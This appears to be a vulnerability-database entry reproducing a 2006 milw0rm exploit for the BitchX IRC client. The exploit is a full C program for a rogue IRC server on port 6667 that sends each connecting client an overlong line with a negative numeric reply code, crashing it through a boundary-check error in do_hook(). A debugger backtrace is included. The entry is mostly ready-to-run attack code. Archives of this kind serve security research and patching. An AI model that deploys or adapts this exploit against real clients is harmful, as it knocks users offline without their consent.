Lucene search
K

BitchX <= 1.1-final do_hook() Remote Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

BitchX <= 1.1-final do_hook() Remote DoS Exploi

Code

                                                // BitchX (epic) =&#60;1.1-final | do_hook() Boundary Check Error Remote DoS
/////////////////////////////////////////////////////////////////////////
// Federico L. Bossi Bonin
// fbossi&#60;at&#62;netcomm&#60;dot&#62;com&#60;dot&#62;ar


// #0  0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 &#34;%s %s&#34;) at hook.c:865
// #1  0x080d013b in numbered_command (from=0xbfbfe031 &#39;A&#39; &#60;repeats 200 times&#62;, 
// comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413
// #2  0x080d7d02 in parse_server (orig_line=0xbfbfe030 &#34;:&#34;, &#39;A&#39; &#60;repeats 199 times&#62;...) at parse.c:1912
// #3  0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584
// #4  0x080b030f in BX_io (what=0x810b85a &#34;main&#34;) at irc.c:1319
// #5  0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687
// #6  0x0804aec2 in ___start ()

//greats to nitr0us, beck, gruba, samelat, ran, etc..

#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62; 
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;

#define PORT 6667
#define LEN 100

int intalign=-999; //use negative number

void sendbuff(int sock) {
char ptr[LEN];
char buffer[2048];
bzero(ptr,LEN);
bzero(buffer,2048);
memset(ptr,0x41,sizeof(ptr)-1);
sprintf(buffer,&#34;:%s %i %s %s\n&#34;,ptr,intalign,ptr,ptr);
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd &#60; 0) { 
perror(&#34;error socket()&#34;); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) &#60; 0)  {
perror(&#34;error bind()&#34;);
exit(1);
}


printf(&#34;BitchX (epic) =&#60;1.1-final | do_hook() Boundary Check Error Remote DoS\n&#34;);
printf(&#34;====================================================================\n&#34;);
printf(&#34;Listening on port %i\n&#34;,PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock &#60; 0)  {
perror(&#34;error accept()&#34;);
exit(1);
}

pid = fork();
if (pid &#60; 0)  {
perror(&#34;fork()&#34;);
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf(&#34;Conection from %s\n&#34;,inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

// milw0rm.com [2006-06-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19